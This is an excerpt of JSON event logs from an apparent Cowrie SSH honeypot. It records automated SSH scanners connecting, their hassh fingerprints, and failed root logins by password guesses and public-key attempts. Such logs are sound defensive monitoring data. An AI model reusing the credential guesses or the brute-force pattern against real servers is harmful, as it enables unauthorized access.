{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:42.489628Z","src_ip":"103.27.238.120","session":"1c5a7ac05afc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"190190","message":"login attempt [root/190190] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:43.274519Z","src_ip":"103.27.238.120","session":"1c5a7ac05afc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:43.630285Z","src_ip":"103.27.238.116","session":"277c379e3104","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:44.540370Z","src_ip":"103.27.238.120","session":"1c5a7ac05afc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":49900,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cf395885ad9","protocol":"ssh","message":"New connection: 37.233.85.71:49900 (159.203.135.109:22) [session: 4cf395885ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:58.037317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:58.042038Z","src_ip":"37.233.85.71","session":"4cf395885ad9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:58.142343Z","src_ip":"37.233.85.71","session":"4cf395885ad9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sepultura","message":"login attempt [root/sepultura] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:58.442108Z","src_ip":"37.233.85.71","session":"4cf395885ad9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.5.175.155","src_port":39332,"dst_ip":"159.203.135.109","dst_port":22,"session":"a73092786655","protocol":"ssh","message":"New connection: 194.5.175.155:39332 (159.203.135.109:22) [session: a73092786655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:58.699430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:58.702961Z","src_ip":"194.5.175.155","session":"a73092786655","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:59.543770Z","src_ip":"37.233.85.71","session":"4cf395885ad9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:30:04.551387Z","src_ip":"194.5.175.155","session":"a73092786655","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.9","message":"Connection lost after 11.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:30:10.567663Z","src_ip":"194.5.175.155","session":"a73092786655","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.2.228","src_port":46768,"dst_ip":"10.17.0.5","dst_port":22,"session":"27f260b5481c","protocol":"ssh","message":"New connection: 23.88.2.228:46768 (10.17.0.5:22) [session: 27f260b5481c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:30:15.020547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:30:15.027418Z","src_ip":"23.88.2.228","session":"27f260b5481c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:30:15.122570Z","src_ip":"23.88.2.228","session":"27f260b5481c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:15:14:74:34:26:c4:db:d2:03:c3:78:5e:54:18:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsN7yUex+dIEbxmXj+cvdHpZU09xHZk9B32rpaL3cwGzScOsZM9v2CPifsxDSMQA7DaC1Qz0/WL5oYCgLYJW4Dycp46gZzKujqHyDK3UebeUG7SBVt1UbUcPioeA3vAXPuKLws8HkdD84niGiOAkfESsG9e+VDp3udN9OSuji77gdVPU0Lm7etzlEXWVXHkHl8DM0i86tyU/D+hcddDql+l+qxO3cKaTrglCOFoUm8xrC0T1boZavJPmQ4/Z9JBera1zY+qFgwAILseDigk6JA7YKhKLwpTbfwsIsCd61I2IAp3HZ1ySQdmbZgySGRyrSc6Hq4AMS4DAs1mEFWzLER","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:15:14:74:34:26:c4:db:d2:03:c3:78:5e:54:18:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:30:15.578203Z","src_ip":"23.88.2.228","session":"27f260b5481c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:15:14:74:34:26:c4:db:d2:03:c3:78:5e:54:18:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsN7yUex+dIEbxmXj+cvdHpZU09xHZk9B32rpaL3cwGzScOsZM9v2CPifsxDSMQA7DaC1Qz0/WL5oYCgLYJW4Dycp46gZzKujqHyDK3UebeUG7SBVt1UbUcPioeA3vAXPuKLws8HkdD84niGiOAkfESsG9e+VDp3udN9OSuji77gdVPU0Lm7etzlEXWVXHkHl8DM0i86tyU/D+hcddDql+l+qxO3cKaTrglCOFoUm8xrC0T1boZavJPmQ4/Z9JBera1zY+qFgwAILseDigk6JA7YKhKLwpTbfwsIsCd61I2IAp3HZ1ySQdmbZgySGRyrSc6Hq4AMS4DAs1mEFWzLER","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:30:15.584917Z","src_ip":"23.88.2.228","session":"27f260b5481c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:47:c4:35:3b:bc:ca:ae:25:81:4a:53:5d:27:2f:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1ViBZ0uD9u5g0iwoZzFprUnkpKNtVq6xaLTSHkzKfcxG6jm3NUWY4Od99rDKmQ21jz9DUmWpTOpYxCAerAVpT1r4x1egn25UVeU7MM6oHWPd9mPaHAgxM+4m1QzojbJhEqpZJe9R+E6Yo1eSa3F4/zZ43E0rmV2H2ZlEpXKDV/U0tvqkYHxqxYjHkH4B7MP2akFlVSupJ9Hut4bOA3IwFXpY1E8WdvjjbgyH6WTEQzgY5Gi90Dcwgx8ZiEVubHHGa5aNU2QZcOf4pzlbFIXdBF24mCAjCHW7BApC+g/eAptaKSxErZBTcg6bnX6kgSuvYwEolCnJsyI6RADYFo1Fjw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:47:c4:35:3b:bc:ca:ae:25:81:4a:53:5d:27:2f:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:30:15.690452Z","src_ip":"23.88.2.228","session":"27f260b5481c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:47:c4:35:3b:bc:ca:ae:25:81:4a:53:5d:27:2f:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1ViBZ0uD9u5g0iwoZzFprUnkpKNtVq6xaLTSHkzKfcxG6jm3NUWY4Od99rDKmQ21jz9DUmWpTOpYxCAerAVpT1r4x1egn25UVeU7MM6oHWPd9mPaHAgxM+4m1QzojbJhEqpZJe9R+E6Yo1eSa3F4/zZ43E0rmV2H2ZlEpXKDV/U0tvqkYHxqxYjHkH4B7MP2akFlVSupJ9Hut4bOA3IwFXpY1E8WdvjjbgyH6WTEQzgY5Gi90Dcwgx8ZiEVubHHGa5aNU2QZcOf4pzlbFIXdBF24mCAjCHW7BApC+g/eAptaKSxErZBTcg6bnX6kgSuvYwEolCnJsyI6RADYFo1Fjw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:30:15.694468Z","src_ip":"23.88.2.228","session":"27f260b5481c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:a7:17:e5:39:33:54:e1:3c:26:87:3d:e0:6f:0b:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmYiYuFCIjfDOx96s5F7JdJmlIKrvMq8DYt+5QAvIJjVw9poAQ7gnqiMz9J9ziv/MOFymcv4bOtxhiZdZUBG4gOVUYRlI8NgxcXP3wakkDOEbMf+Z/FZyXo2FXu/br6p4aAOMve3YuVgsi2M1x+21I3fxQTWSJPOd2IXs21Zlm4ZPJxnqn+Xsxwj1PvdHbME88LMuq/J3oujhtqAvB4fBT9t7ANYZ3rjKf1y/v6saTHctyh9iBq9/VN/5xqlZnPl9BaRvGFrEv2lCZyVnGYu5miJwj4KnEKkVJJgsW8Uld8ijl+KdI+XCAETPucwxydHHcZBdN4XCDaXHAn1IxCT5Mw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8c:a7:17:e5:39:33:54:e1:3c:26:87:3d:e0:6f:0b:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:30:15.795194Z","src_ip":"23.88.2.228","session":"27f260b5481c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:a7:17:e5:39:33:54:e1:3c:26:87:3d:e0:6f:0b:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmYiYuFCIjfDOx96s5F7JdJmlIKrvMq8DYt+5QAvIJjVw9poAQ7gnqiMz9J9ziv/MOFymcv4bOtxhiZdZUBG4gOVUYRlI8NgxcXP3wakkDOEbMf+Z/FZyXo2FXu/br6p4aAOMve3YuVgsi2M1x+21I3fxQTWSJPOd2IXs21Zlm4ZPJxnqn+Xsxwj1PvdHbME88LMuq/J3oujhtqAvB4fBT9t7ANYZ3rjKf1y/v6saTHctyh9iBq9/VN/5xqlZnPl9BaRvGFrEv2lCZyVnGYu5miJwj4KnEKkVJJgsW8Uld8ijl+KdI+XCAETPucwxydHHcZBdN4XCDaXHAn1IxCT5Mw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:30:15.813207Z","src_ip":"23.88.2.228","session":"27f260b5481c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:c9:1e:31:2a:de:a9:53:4f:c2:f8:44:f9:75:c2:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCssO0tQJT13Q4UMxLc8EHUd+o2Tl+HEsEOA20zgtXt4of3yGD2ynwTb41VmbR3JkR4bUIvSakguuvE7uIrrlzCMUxmgE8xNzXe045S87sYknu03qVDkxLCuspPTLbzJe11sO97KSJ2GDUBpLhvFp7AeJBAOXeInv9gL7a9ifc8PjfBL32/6yS6tc6QMobLySymSWi0n9Quih/gsacR/ze4C0vpg61aeLx1RgsteLl5hp/XBquwYaJL4bFr7Rd1WSFcOPqm/ayOmb2UNgGvKwFWHxsx3yuqAYn9T0/vxCyfKLo4GFfpuCX+z5hVr02LfD7KNseflzqxpAtn7r/HDjJb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:c9:1e:31:2a:de:a9:53:4f:c2:f8:44:f9:75:c2:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:30:15.907954Z","src_ip":"23.88.2.228","session":"27f260b5481c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:c9:1e:31:2a:de:a9:53:4f:c2:f8:44:f9:75:c2:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCssO0tQJT13Q4UMxLc8EHUd+o2Tl+HEsEOA20zgtXt4of3yGD2ynwTb41VmbR3JkR4bUIvSakguuvE7uIrrlzCMUxmgE8xNzXe045S87sYknu03qVDkxLCuspPTLbzJe11sO97KSJ2GDUBpLhvFp7AeJBAOXeInv9gL7a9ifc8PjfBL32/6yS6tc6QMobLySymSWi0n9Quih/gsacR/ze4C0vpg61aeLx1RgsteLl5hp/XBquwYaJL4bFr7Rd1WSFcOPqm/ayOmb2UNgGvKwFWHxsx3yuqAYn9T0/vxCyfKLo4GFfpuCX+z5hVr02LfD7KNseflzqxpAtn7r/HDjJb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:30:15.912621Z","src_ip":"23.88.2.228","session":"27f260b5481c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:7f:4e:96:e2:00:74:29:01:4e:01:1a:15:9a:30:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAvssYpsLdU1rpZlPNbhiBMqyZUWsXlax+i7LrH405NYAzP6LP4Piaxs+XCI0ydzOMvRWk6cxZlAuONmDhcyXvFujk/GKtfH9lNah+eL5MMx/dkLpToiJrbz0sdZtIEkqhdolcKs1pZamMz8aAhc3FA5qf2nYPjtGyxjYXCBhQW+WMeGzPboowLzGCz9ZYtz6VNQFjR7sFW/GjtubJiARrg6JXO0ISjmlzvoJbJYw/JU0WXwhK/HAseYNeFcjn/tmIj2RdnPXwZ7UW3xeZHech1HpoNisCLFlVdNnVzIGFdrdakVUovZ7K2gvJWn1uwscmZEcc/TSKDe6862vOXhnNwn73Qn4nClAJNPuSdsh6sV43drFdXNuG/BQcUg7fXPsJpkFHwW3xgEfpgo5TrBtcXPaWK041Q/3nqNh7NIDGv7ghkgeU7S4x3aKGFbJgfLbDPrazFbfZVg+rNQOAZ54e3VJ6MeL5ILFpsJVp1thA2Crod4ycRns2I953AQcVJfoVTWp8OZMvfI8okP4zE4dbUQxBoYs7Oc2diWqRGqasinux6MJJVE/NqZEoqvmXx3QyY3bbtyLL1GW9Lj02ZTPUmqFGjXYZnGidIvSTjOg7Nk7Zxk7kLpHrTDnoWR+BdyYYnpvGAvI9f+1itSsTEq0oMJ2PVsYhQoIxxKqvgTbQbZc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:7f:4e:96:e2:00:74:29:01:4e:01:1a:15:9a:30:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:30:16.007451Z","src_ip":"23.88.2.228","session":"27f260b5481c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:7f:4e:96:e2:00:74:29:01:4e:01:1a:15:9a:30:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAvssYpsLdU1rpZlPNbhiBMqyZUWsXlax+i7LrH405NYAzP6LP4Piaxs+XCI0ydzOMvRWk6cxZlAuONmDhcyXvFujk/GKtfH9lNah+eL5MMx/dkLpToiJrbz0sdZtIEkqhdolcKs1pZamMz8aAhc3FA5qf2nYPjtGyxjYXCBhQW+WMeGzPboowLzGCz9ZYtz6VNQFjR7sFW/GjtubJiARrg6JXO0ISjmlzvoJbJYw/JU0WXwhK/HAseYNeFcjn/tmIj2RdnPXwZ7UW3xeZHech1HpoNisCLFlVdNnVzIGFdrdakVUovZ7K2gvJWn1uwscmZEcc/TSKDe6862vOXhnNwn73Qn4nClAJNPuSdsh6sV43drFdXNuG/BQcUg7fXPsJpkFHwW3xgEfpgo5TrBtcXPaWK041Q/3nqNh7NIDGv7ghkgeU7S4x3aKGFbJgfLbDPrazFbfZVg+rNQOAZ54e3VJ6MeL5ILFpsJVp1thA2Crod4ycRns2I953AQcVJfoVTWp8OZMvfI8okP4zE4dbUQxBoYs7Oc2diWqRGqasinux6MJJVE/NqZEoqvmXx3QyY3bbtyLL1GW9Lj02ZTPUmqFGjXYZnGidIvSTjOg7Nk7Zxk7kLpHrTDnoWR+BdyYYnpvGAvI9f+1itSsTEq0oMJ2PVsYhQoIxxKqvgTbQbZc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:30:16.013773Z","src_ip":"23.88.2.228","session":"27f260b5481c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:30:16.109653Z","src_ip":"23.88.2.228","session":"27f260b5481c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.156.184","src_port":56502,"dst_ip":"159.203.135.109","dst_port":22,"session":"540f53d0d05a","protocol":"ssh","message":"New connection: 182.253.156.184:56502 (159.203.135.109:22) [session: 540f53d0d05a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:30:57.061996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:30:57.067311Z","src_ip":"182.253.156.184","session":"540f53d0d05a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:30:57.314479Z","src_ip":"182.253.156.184","session":"540f53d0d05a","protocol":"ssh"}
